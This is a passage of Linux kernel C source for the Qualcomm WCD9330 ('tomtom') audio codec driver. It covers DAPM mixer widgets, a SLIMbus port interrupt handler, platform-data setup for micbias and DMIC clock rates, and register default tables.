SND_SOC_DAPM_ADC_E("AUX_PGA_Right", NULL, TOMTOM_A_RX_AUX_SW_CTL, 6, 0,
tomtom_codec_enable_aux_pga, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/* Lineout, ear and HPH PA Mixers */
SND_SOC_DAPM_MIXER("EAR_PA_MIXER", SND_SOC_NOPM, 0, 0,
ear_pa_mix, ARRAY_SIZE(ear_pa_mix)),
SND_SOC_DAPM_MIXER("HPHL_PA_MIXER", SND_SOC_NOPM, 0, 0,
hphl_pa_mix, ARRAY_SIZE(hphl_pa_mix)),
SND_SOC_DAPM_MIXER("HPHR_PA_MIXER", SND_SOC_NOPM, 0, 0,
hphr_pa_mix, ARRAY_SIZE(hphr_pa_mix)),
SND_SOC_DAPM_MIXER("LINEOUT1_PA_MIXER", SND_SOC_NOPM, 0, 0,
lineout1_pa_mix, ARRAY_SIZE(lineout1_pa_mix)),
SND_SOC_DAPM_MIXER("LINEOUT2_PA_MIXER", SND_SOC_NOPM, 0, 0,
lineout2_pa_mix, ARRAY_SIZE(lineout2_pa_mix)),
SND_SOC_DAPM_MIXER("LINEOUT3_PA_MIXER", SND_SOC_NOPM, 0, 0,
lineout3_pa_mix, ARRAY_SIZE(lineout3_pa_mix)),
SND_SOC_DAPM_MIXER("LINEOUT4_PA_MIXER", SND_SOC_NOPM, 0, 0,
lineout4_pa_mix, ARRAY_SIZE(lineout4_pa_mix)),
SND_SOC_DAPM_INPUT("VIINPUT"),
};
static irqreturn_t tomtom_slimbus_irq(int irq, void *data)
{
struct tomtom_priv *priv = data;
struct snd_soc_codec *codec = priv->codec;
unsigned long status = 0;
int i, j, port_id, k;
u32 bit;
u8 val, int_val = 0;
bool tx, cleared;
unsigned short reg = 0;
for (i = TOMTOM_SLIM_PGD_PORT_INT_STATUS_RX_0, j = 0;
i <= TOMTOM_SLIM_PGD_PORT_INT_STATUS_TX_1; i++, j++) {
val = wcd9xxx_interface_reg_read(codec->control_data, i);
status |= ((u32)val << (8 * j));
}
for_each_set_bit(j, &status, 32) {
tx = (j >= 16 ? true : false);
port_id = (tx ? j - 16 : j);
val = wcd9xxx_interface_reg_read(codec->control_data,
TOMTOM_SLIM_PGD_PORT_INT_RX_SOURCE0 + j);
if (val) {
if (!tx)
reg = TOMTOM_SLIM_PGD_PORT_INT_EN0 +
(port_id / 8);
else
reg = TOMTOM_SLIM_PGD_PORT_INT_TX_EN0 +
(port_id / 8);
int_val = wcd9xxx_interface_reg_read(
codec->control_data, reg);
/*
* Ignore interrupts for ports for which the
* interrupts are not specifically enabled.
*/
if (!(int_val & (1 << (port_id % 8))))
continue;
}
if (val & TOMTOM_SLIM_IRQ_OVERFLOW)
pr_err_ratelimited(
"%s: overflow error on %s port %d, value %x\n",
__func__, (tx ? "TX" : "RX"), port_id, val);
if (val & TOMTOM_SLIM_IRQ_UNDERFLOW)
pr_err_ratelimited(
"%s: underflow error on %s port %d, value %x\n",
__func__, (tx ? "TX" : "RX"), port_id, val);
if ((val & TOMTOM_SLIM_IRQ_OVERFLOW) ||
(val & TOMTOM_SLIM_IRQ_UNDERFLOW)) {
if (!tx)
reg = TOMTOM_SLIM_PGD_PORT_INT_EN0 +
(port_id / 8);
else
reg = TOMTOM_SLIM_PGD_PORT_INT_TX_EN0 +
(port_id / 8);
int_val = wcd9xxx_interface_reg_read(
codec->control_data, reg);
if (int_val & (1 << (port_id % 8))) {
int_val = int_val ^ (1 << (port_id % 8));
wcd9xxx_interface_reg_write(codec->control_data,
reg, int_val);
}
}
if (val & TOMTOM_SLIM_IRQ_PORT_CLOSED) {
/*
* INT SOURCE register starts from RX to TX
* but port number in the ch_mask is in opposite way
*/
bit = (tx ? j - 16 : j + 16);
pr_debug("%s: %s port %d closed value %x, bit %u\n",
__func__, (tx ? "TX" : "RX"), port_id, val,
bit);
for (k = 0, cleared = false; k < NUM_CODEC_DAIS; k++) {
pr_debug("%s: priv->dai[%d].ch_mask = 0x%lx\n",
__func__, k, priv->dai[k].ch_mask);
if (test_and_clear_bit(bit,
&priv->dai[k].ch_mask)) {
cleared = true;
if (!priv->dai[k].ch_mask)
wake_up(&priv->dai[k].dai_wait);
/*
* There are cases when multiple DAIs
* might be using the same slimbus
* channel. Hence don't break here.
*/
}
}
WARN(!cleared,
"Couldn't find slimbus %s port %d for closing\n",
(tx ? "TX" : "RX"), port_id);
}
wcd9xxx_interface_reg_write(codec->control_data,
TOMTOM_SLIM_PGD_PORT_INT_CLR_RX_0 +
(j / 8),
1 << (j % 8));
}
return IRQ_HANDLED;
}
static int tomtom_handle_pdata(struct tomtom_priv *tomtom)
{
struct snd_soc_codec *codec = tomtom->codec;
struct wcd9xxx_pdata *pdata = tomtom->resmgr.pdata;
int k1, k2, k3, dec, rc = 0;
u8 leg_mode, txfe_bypass, txfe_buff, flag;
u8 i = 0, j = 0;
u8 val_txfe = 0, value = 0;
u8 dmic_ctl_val, mad_dmic_ctl_val;
u8 anc_ctl_value = 0;
u32 def_dmic_rate;
u16 tx_dmic_ctl_reg;
if (!pdata) {
pr_err("%s: NULL pdata\n", __func__);
rc = -ENODEV;
goto done;
}
leg_mode = pdata->amic_settings.legacy_mode;
txfe_bypass = pdata->amic_settings.txfe_enable;
txfe_buff = pdata->amic_settings.txfe_buff;
flag = pdata->amic_settings.use_pdata;
/* Make sure settings are correct */
if ((pdata->micbias.ldoh_v > WCD9XXX_LDOH_3P0_V) ||
(pdata->micbias.bias1_cfilt_sel > WCD9XXX_CFILT3_SEL) ||
(pdata->micbias.bias2_cfilt_sel > WCD9XXX_CFILT3_SEL) ||
(pdata->micbias.bias3_cfilt_sel > WCD9XXX_CFILT3_SEL) ||
(pdata->micbias.bias4_cfilt_sel > WCD9XXX_CFILT3_SEL)) {
rc = -EINVAL;
goto done;
}
/* figure out k value */
k1 = wcd9xxx_resmgr_get_k_val(&tomtom->resmgr,
pdata->micbias.cfilt1_mv);
k2 = wcd9xxx_resmgr_get_k_val(&tomtom->resmgr,
pdata->micbias.cfilt2_mv);
k3 = wcd9xxx_resmgr_get_k_val(&tomtom->resmgr,
pdata->micbias.cfilt3_mv);
if (IS_ERR_VALUE(k1) || IS_ERR_VALUE(k2) || IS_ERR_VALUE(k3)) {
rc = -EINVAL;
goto done;
}
/* Set voltage level and always use LDO */
snd_soc_update_bits(codec, TOMTOM_A_LDO_H_MODE_1, 0x0C,
(pdata->micbias.ldoh_v << 2));
snd_soc_update_bits(codec, TOMTOM_A_MICB_CFILT_1_VAL, 0xFC, (k1 << 2));
snd_soc_update_bits(codec, TOMTOM_A_MICB_CFILT_2_VAL, 0xFC, (k2 << 2));
snd_soc_update_bits(codec, TOMTOM_A_MICB_CFILT_3_VAL, 0xFC, (k3 << 2));
snd_soc_update_bits(codec, TOMTOM_A_MICB_1_CTL, 0x60,
(pdata->micbias.bias1_cfilt_sel << 5));
snd_soc_update_bits(codec, TOMTOM_A_MICB_2_CTL, 0x60,
(pdata->micbias.bias2_cfilt_sel << 5));
snd_soc_update_bits(codec, TOMTOM_A_MICB_3_CTL, 0x60,
(pdata->micbias.bias3_cfilt_sel << 5));
snd_soc_update_bits(codec, tomtom->resmgr.reg_addr->micb_4_ctl, 0x60,
(pdata->micbias.bias4_cfilt_sel << 5));
for (i = 0; i < 6; j++, i += 2) {
if (flag & (0x01 << i)) {
val_txfe = (txfe_bypass & (0x01 << i)) ? 0x20 : 0x00;
val_txfe = val_txfe |
((txfe_buff & (0x01 << i)) ? 0x10 : 0x00);
snd_soc_update_bits(codec,
TOMTOM_A_TX_1_2_TEST_EN + j * 10,
0x30, val_txfe);
}
if (flag & (0x01 << (i + 1))) {
val_txfe = (txfe_bypass &
(0x01 << (i + 1))) ? 0x02 : 0x00;
val_txfe |= (txfe_buff &
(0x01 << (i + 1))) ? 0x01 : 0x00;
snd_soc_update_bits(codec,
TOMTOM_A_TX_1_2_TEST_EN + j * 10,
0x03, val_txfe);
}
}
if (flag & 0x40) {
value = (leg_mode & 0x40) ? 0x10 : 0x00;
value = value | ((txfe_bypass & 0x40) ? 0x02 : 0x00);
value = value | ((txfe_buff & 0x40) ? 0x01 : 0x00);
snd_soc_update_bits(codec, TOMTOM_A_TX_7_MBHC_EN,
0x13, value);
}
if (pdata->ocp.use_pdata) {
/* not defined in CODEC specification */
if (pdata->ocp.hph_ocp_limit == 1 ||
pdata->ocp.hph_ocp_limit == 5) {
rc = -EINVAL;
goto done;
}
snd_soc_update_bits(codec, TOMTOM_A_RX_COM_OCP_CTL,
0x0F, pdata->ocp.num_attempts);
snd_soc_write(codec, TOMTOM_A_RX_COM_OCP_COUNT,
((pdata->ocp.run_time << 4) | pdata->ocp.wait_time));
snd_soc_update_bits(codec, TOMTOM_A_RX_HPH_OCP_CTL,
0xE0, (pdata->ocp.hph_ocp_limit << 5));
}
for (i = 0; i < ARRAY_SIZE(pdata->regulator); i++) {
if (pdata->regulator[i].name &&
!strcmp(pdata->regulator[i].name, "CDC_VDDA_RX")) {
if (pdata->regulator[i].min_uV == 1800000 &&
pdata->regulator[i].max_uV == 1800000) {
snd_soc_write(codec, TOMTOM_A_BIAS_REF_CTL,
0x1C);
} else if (pdata->regulator[i].min_uV == 2200000 &&
pdata->regulator[i].max_uV == 2200000) {
snd_soc_write(codec, TOMTOM_A_BIAS_REF_CTL,
0x1E);
} else {
pr_err("%s: unsupported CDC_VDDA_RX voltage\n"
"min %d, max %d\n", __func__,
pdata->regulator[i].min_uV,
pdata->regulator[i].max_uV);
rc = -EINVAL;
}
break;
}
}
/* Set micbias capless mode with tail current */
value = (pdata->micbias.bias1_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x16);
snd_soc_update_bits(codec, TOMTOM_A_MICB_1_CTL, 0x1E, value);
value = (pdata->micbias.bias2_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x16);
snd_soc_update_bits(codec, TOMTOM_A_MICB_2_CTL, 0x1E, value);
value = (pdata->micbias.bias3_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x16);
snd_soc_update_bits(codec, TOMTOM_A_MICB_3_CTL, 0x1E, value);
value = (pdata->micbias.bias4_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x16);
snd_soc_update_bits(codec, TOMTOM_A_MICB_4_CTL, 0x1E, value);
/* Set the DMIC sample rate */
switch (pdata->mclk_rate) {
case TOMTOM_MCLK_CLK_9P6MHZ:
def_dmic_rate =
WCD9XXX_DMIC_SAMPLE_RATE_4P8MHZ;
break;
case TOMTOM_MCLK_CLK_12P288MHZ:
def_dmic_rate =
WCD9XXX_DMIC_SAMPLE_RATE_4P096MHZ;
break;
default:
/* should never happen */
pr_err("%s: Invalid mclk_rate %d\n",
__func__, pdata->mclk_rate);
rc = -EINVAL;
goto done;
}
if (pdata->dmic_sample_rate ==
WCD9XXX_DMIC_SAMPLE_RATE_UNDEFINED) {
pr_info("%s: dmic_rate invalid default = %d\n",
__func__, def_dmic_rate);
pdata->dmic_sample_rate = def_dmic_rate;
}
if (pdata->mad_dmic_sample_rate ==
WCD9XXX_DMIC_SAMPLE_RATE_UNDEFINED) {
pr_info("%s: mad_dmic_rate invalid default = %d\n",
__func__, def_dmic_rate);
/*
* use dmic_sample_rate as the default for MAD
* if mad dmic sample rate is undefined
*/
pdata->mad_dmic_sample_rate = pdata->dmic_sample_rate;
}
/*
* Default the DMIC clk rates to mad_dmic_sample_rate,
* whereas, the anc/txfe dmic rates to dmic_sample_rate
* since the anc/txfe are independent of mad block.
*/
mad_dmic_ctl_val = tomtom_get_dmic_clk_val(tomtom->codec,
pdata->mclk_rate,
pdata->mad_dmic_sample_rate);
snd_soc_update_bits(codec, TOMTOM_A_DMIC_B1_CTL,
0xE0, mad_dmic_ctl_val << 5);
snd_soc_update_bits(codec, TOMTOM_A_DMIC_B2_CTL,
0x70, mad_dmic_ctl_val << 4);
snd_soc_update_bits(codec, TOMTOM_A_DMIC_B2_CTL,
0x0E, mad_dmic_ctl_val << 1);
dmic_ctl_val = tomtom_get_dmic_clk_val(tomtom->codec,
pdata->mclk_rate,
pdata->dmic_sample_rate);
if (dmic_ctl_val == WCD9330_DMIC_CLK_DIV_2)
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_ON;
else
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_OFF;
for (dec = 0; dec < NUM_DECIMATORS; dec++) {
tx_dmic_ctl_reg =
TOMTOM_A_CDC_TX1_DMIC_CTL + (8 * dec);
snd_soc_update_bits(codec, tx_dmic_ctl_reg,
0x07, dmic_ctl_val);
}
snd_soc_update_bits(codec, TOMTOM_A_CDC_ANC1_B2_CTL,
0x1, anc_ctl_value);
snd_soc_update_bits(codec, TOMTOM_A_CDC_ANC2_B2_CTL,
0x1, anc_ctl_value);
done:
return rc;
}
static const struct wcd9xxx_reg_mask_val tomtom_reg_defaults[] = {
/* set MCLk to 9.6 */
TOMTOM_REG_VAL(TOMTOM_A_CHIP_CTL, 0x02),
/* EAR PA deafults */
TOMTOM_REG_VAL(TOMTOM_A_RX_EAR_CMBUFF, 0x05),
/* RX deafults */
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX1_B5_CTL, 0x79),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX2_B5_CTL, 0x79),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX3_B5_CTL, 0x79),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX4_B5_CTL, 0x79),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX5_B5_CTL, 0x79),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX6_B5_CTL, 0x79),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX7_B5_CTL, 0x79),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX8_B5_CTL, 0x79),
/* RX1 and RX2 defaults */
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX1_B6_CTL, 0xA0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX2_B6_CTL, 0xA0),
/* RX3 to RX7 defaults */
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX3_B6_CTL, 0x80),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX4_B6_CTL, 0x80),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX5_B6_CTL, 0x80),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX6_B6_CTL, 0x80),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX7_B6_CTL, 0x80),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX8_B6_CTL, 0x80),
/* MAD registers */
TOMTOM_REG_VAL(TOMTOM_A_MAD_ANA_CTRL, 0xF1),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_MAIN_CTL_1, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_MAIN_CTL_2, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_CTL_1, 0x00),
/* Set SAMPLE_TX_EN bit */
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_CTL_2, 0x03),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_CTL_3, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_CTL_4, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_CTL_5, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_CTL_6, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_CTL_7, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_CTL_8, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_IIR_CTL_PTR, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_AUDIO_IIR_CTL_VAL, 0x40),
TOMTOM_REG_VAL(TOMTOM_A_CDC_DEBUG_B7_CTL, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_CLK_OTHR_RESET_B1_CTL, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_CLK_OTHR_CTL, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_INP_SEL, 0x01),
/* Set HPH Path to low power mode */
TOMTOM_REG_VAL(TOMTOM_A_RX_HPH_BIAS_PA, 0x57),
/* BUCK default */
TOMTOM_REG_VAL(TOMTOM_A_BUCK_CTRL_CCL_4, 0x51),
TOMTOM_REG_VAL(TOMTOM_A_BUCK_CTRL_CCL_1, 0x5B),
};
/*
* Don't update TOMTOM_A_CHIP_CTL, TOMTOM_A_BUCK_CTRL_CCL_1 and
* TOMTOM_A_RX_EAR_CMBUFF as those are updated in tomtom_reg_defaults
*/
static const struct wcd9xxx_reg_mask_val tomtom_1_0_reg_defaults[] = {
TOMTOM_REG_VAL(TOMTOM_A_TX_1_GAIN, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_TX_2_GAIN, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_TX_1_2_ADC_IB, 0x44),
TOMTOM_REG_VAL(TOMTOM_A_TX_3_GAIN, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_TX_4_GAIN, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_TX_3_4_ADC_IB, 0x44),
TOMTOM_REG_VAL(TOMTOM_A_TX_5_GAIN, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_TX_6_GAIN, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_TX_5_6_ADC_IB, 0x44),
TOMTOM_REG_VAL(WCD9XXX_A_BUCK_MODE_3, 0xCE),
TOMTOM_REG_VAL(WCD9XXX_A_BUCK_CTRL_VCL_1, 0x8),
TOMTOM_REG_VAL(TOMTOM_A_BUCK_CTRL_CCL_4, 0x51),
TOMTOM_REG_VAL(TOMTOM_A_NCP_DTEST, 0x10),
TOMTOM_REG_VAL(TOMTOM_A_RX_HPH_CHOP_CTL, 0xA4),
TOMTOM_REG_VAL(TOMTOM_A_RX_HPH_OCP_CTL, 0x69),
TOMTOM_REG_VAL(TOMTOM_A_RX_HPH_CNP_WG_CTL, 0xDA),
TOMTOM_REG_VAL(TOMTOM_A_RX_HPH_CNP_WG_TIME, 0x15),
TOMTOM_REG_VAL(TOMTOM_A_RX_EAR_BIAS_PA, 0x76),
TOMTOM_REG_VAL(TOMTOM_A_RX_EAR_CNP, 0xC0),
TOMTOM_REG_VAL(TOMTOM_A_RX_LINE_BIAS_PA, 0x78),
TOMTOM_REG_VAL(TOMTOM_A_RX_LINE_1_TEST, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_RX_LINE_2_TEST, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_RX_LINE_3_TEST, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_RX_LINE_4_TEST, 0x2),
TOMTOM_REG_VAL(TOMTOM_A_SPKR_DRV1_OCP_CTL, 0x97),
TOMTOM_REG_VAL(TOMTOM_A_SPKR_DRV1_CLIP_DET, 0x1),
TOMTOM_REG_VAL(TOMTOM_A_SPKR_DRV1_IEC, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_SPKR_DRV2_OCP_CTL, 0x97),
TOMTOM_REG_VAL(TOMTOM_A_SPKR_DRV2_CLIP_DET, 0x1),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX1_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX2_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX3_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX4_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX5_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX6_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX7_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX8_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX9_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX10_MUX_CTL, 0x4A),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX1_B4_CTL, 0xB),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX2_B4_CTL, 0xB),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX3_B4_CTL, 0xB),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX4_B4_CTL, 0xB),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX5_B4_CTL, 0xB),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX6_B4_CTL, 0xB),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX7_B4_CTL, 0xB),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX8_B4_CTL, 0xB),
TOMTOM_REG_VAL(TOMTOM_A_CDC_VBAT_GAIN_UPD_MON, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_PA_RAMP_B1_CTL, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_PA_RAMP_B2_CTL, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_PA_RAMP_B3_CTL, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_PA_RAMP_B4_CTL, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_SPKR_CLIPDET_B1_CTL, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_SPKR2_CLIPDET_B1_CTL, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_COMP0_B4_CTL, 0x37),
TOMTOM_REG_VAL(TOMTOM_A_CDC_COMP0_B5_CTL, 0x7f),
TOMTOM_REG_VAL(TOMTOM_A_CDC_COMP0_B5_CTL, 0x7f),
};
static const struct wcd9xxx_reg_mask_val tomtom_2_0_reg_defaults[] = {
TOMTOM_REG_VAL(TOMTOM_A_CDC_MAD_MAIN_CTL_2, 0x32),
TOMTOM_REG_VAL(TOMTOM_A_RCO_CTRL, 0x10),
TOMTOM_REG_VAL(TOMTOM_A_RX_HPH_L_TEST, 0x0A),
TOMTOM_REG_VAL(TOMTOM_A_RX_HPH_R_TEST, 0x0A),
TOMTOM_REG_VAL(TOMTOM_A_PIN_CTL_OE0, 0xC3),
TOMTOM_REG_VAL(TOMTOM_A_PIN_CTL_DATA0, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX_I2S_SCK_MODE, 0x04),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX_I2S_WS_MODE, 0x04),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX_I2S_SCK_MODE, 0x04),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX_I2S_WS_MODE, 0x04),
TOMTOM_REG_VAL(TOMTOM_A_PIN_CTL_OE1, 0xE0),
TOMTOM_REG_VAL(TOMTOM_A_PIN_CTL_OE2, 0x03),
TOMTOM_REG_VAL(TOMTOM_A_CDC_JTCK_MODE, 0x04),
TOMTOM_REG_VAL(TOMTOM_A_CDC_JTDI_MODE, 0x04),
TOMTOM_REG_VAL(TOMTOM_A_CDC_JTMS_MODE, 0x04),
TOMTOM_REG_VAL(TOMTOM_A_CDC_JTDO_MODE, 0x04),
TOMTOM_REG_VAL(TOMTOM_A_CDC_JTRST_MODE, 0x04),
};
static const struct wcd9xxx_reg_mask_val tomtom_2_0_reg_i2c_defaults[] = {
TOMTOM_REG_VAL(TOMTOM_A_PIN_CTL_OE0, 0x00),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX_I2S_SCK_MODE, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_TX_I2S_WS_MODE, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX_I2S_SCK_MODE, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_CDC_RX_I2S_WS_MODE, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_PIN_CTL_OE1, 0x0),
TOMTOM_REG_VAL(TOMTOM_A_PIN_CTL_OE2, 0x0),
};
static void tomtom_update_reg_defaults(struct snd_soc_codec *codec)
{
u32 i;
struct wcd9xxx *tomtom_core = dev_get_drvdata(codec->dev->parent);
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
for (i = 0; i < ARRAY_SIZE(tomtom_reg_defaults); i++)
snd_soc_write(codec, tomtom_reg_defaults[i].reg,
tomtom_reg_defaults[i].val);
for (i = 0; i < ARRAY_SIZE(tomtom_1_0_reg_defaults); i++)
snd_soc_write(codec, tomtom_1_0_reg_defaults[i].reg,
tomtom_1_0_reg_defaults[i].val);
if (!TOMTOM_IS_1_0(tomtom_core->version)) {
for (i = 0; i < ARRAY_SIZE(tomtom_2_0_reg_defaults); i++)
snd_soc_write(codec, tomtom_2_0_reg_defaults[i].reg,
tomtom_2_0_reg_defaults[i].val);
if (tomtom->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
for (i = 0; i < ARRAY_SIZE(tomtom_2_0_reg_i2c_defaults);
i++)
snd_soc_write(codec,
tomtom_2_0_reg_i2c_defaults[i].reg,
tomtom_2_0_reg_i2c_defaults[i].val);
}
}
}
static const struct wcd9xxx_reg_mask_val tomtom_codec_reg_init_val[] = {
/* Initialize current threshold to 350MA
* number of wait and run cycles to 4096
*/
{TOMTOM_A_RX_HPH_OCP_CTL, 0xE1, 0x61},
{TOMTOM_A_RX_COM_OCP_COUNT, 0xFF, 0xFF},
{TOMTOM_A_RX_HPH_L_TEST, 0x01, 0x01},
{TOMTOM_A_RX_HPH_R_TEST, 0x01, 0x01},
/* Initialize gain registers to use register gain */
{TOMTOM_A_RX_HPH_L_GAIN, 0x20, 0x20},
{TOMTOM_A_RX_HPH_R_GAIN, 0x20, 0x20},
{TOMTOM_A_RX_LINE_1_GAIN, 0x20, 0x20},
{TOMTOM_A_RX_LINE_2_GAIN, 0x20, 0x20},
{TOMTOM_A_RX_LINE_3_GAIN, 0x20, 0x20},
{TOMTOM_A_RX_LINE_4_GAIN, 0x20, 0x20},
{TOMTOM_A_SPKR_DRV1_GAIN, 0x04, 0x04},
{TOMTOM_A_SPKR_DRV2_GAIN, 0x04, 0x04},
/* Use 16 bit sample size for TX1 to TX6 */
{TOMTOM_A_CDC_CONN_TX_SB_B1_CTL, 0x30, 0x20},
{TOMTOM_A_CDC_CONN_TX_SB_B2_CTL, 0x30, 0x20},
{TOMTOM_A_CDC_CONN_TX_SB_B3_CTL, 0x30, 0x20},
{TOMTOM_A_CDC_CONN_TX_SB_B4_CTL, 0x30, 0x20},
{TOMTOM_A_CDC_CONN_TX_SB_B5_CTL, 0x30, 0x20},
{TOMTOM_A_CDC_CONN_TX_SB_B6_CTL, 0x30, 0x20},
/* Use 16 bit sample size for TX7 to TX10 */
{TOMTOM_A_CDC_CONN_TX_SB_B7_CTL, 0x60, 0x40},
{TOMTOM_A_CDC_CONN_TX_SB_B8_CTL, 0x60, 0x40},
{TOMTOM_A_CDC_CONN_TX_SB_B9_CTL, 0x60, 0x40},
{TOMTOM_A_CDC_CONN_TX_SB_B10_CTL, 0x60, 0x40},
/*enable HPF filter for TX paths */
{TOMTOM_A_CDC_TX1_MUX_CTL, 0x8, 0x0},
{TOMTOM_A_CDC_TX2_MUX_CTL, 0x8, 0x0},
{TOMTOM_A_CDC_TX3_MUX_CTL, 0x8, 0x0},
{TOMTOM_A_CDC_TX4_MUX_CTL, 0x8, 0x0},
{TOMTOM_A_CDC_TX5_MUX_CTL, 0x8, 0x0},
{TOMTOM_A_CDC_TX6_MUX_CTL, 0x8, 0x0},
{TOMTOM_A_CDC_TX7_MUX_CTL, 0x8, 0x0},
{TOMTOM_A_CDC_TX8_MUX_CTL, 0x8, 0x0},
{TOMTOM_A_CDC_TX9_MUX_CTL, 0x8, 0x0},
{TOMTOM_A_CDC_TX10_MUX_CTL, 0x8, 0x0},
/* Compander zone selection */
{TOMTOM_A_CDC_COMP0_B4_CTL, 0x3F, 0x37},
{TOMTOM_A_CDC_COMP1_B4_CTL, 0x3F, 0x37},
{TOMTOM_A_CDC_COMP2_B4_CTL, 0x3F, 0x37},
{TOMTOM_A_CDC_COMP0_B5_CTL, 0x7F, 0x7F},
{TOMTOM_A_CDC_COMP1_B5_CTL, 0x7F, 0x7F},
{TOMTOM_A_CDC_COMP2_B5_CTL, 0x7F, 0x7F},
/*
* Setup wavegen timer to 20msec and disable chopper
* as default. This corresponds to Compander OFF
*/
{TOMTOM_A_RX_HPH_CNP_WG_CTL, 0xFF, 0xDB},
{TOMTOM_A_RX_HPH_CNP_WG_TIME, 0xFF, 0x58},
{TOMTOM_A_RX_HPH_BIAS_WG_OCP, 0xFF, 0x1A},
{TOMTOM_A_RX_HPH_CHOP_CTL, 0xFF, 0x24},
/* Choose max non-overlap time for NCP */
{TOMTOM_A_NCP_CLK, 0xFF, 0xFC},
/* Program the 0.85 volt VBG_REFERENCE */
{TOMTOM_A_BIAS_CURR_CTL_2, 0xFF, 0x04},
/* set MAD input MIC to DMIC1 */
{TOMTOM_A_CDC_MAD_INP_SEL, 0x0F, 0x08},
{TOMTOM_A_INTR_MODE, 0x04, 0x04},
};
static const struct wcd9xxx_reg_mask_val tomtom_codec_2_0_reg_init_val[] = {
{TOMTOM_A_RX_HPH_L_TEST, 0x08, 0x00},
{TOMTOM_A_RX_HPH_R_TEST, 0x08, 0x00},
{TOMTOM_A_CDC_CLIP_ADJ_SPKR_MIN_CLIP_THRESHOLD, 0xFF, 0x00},
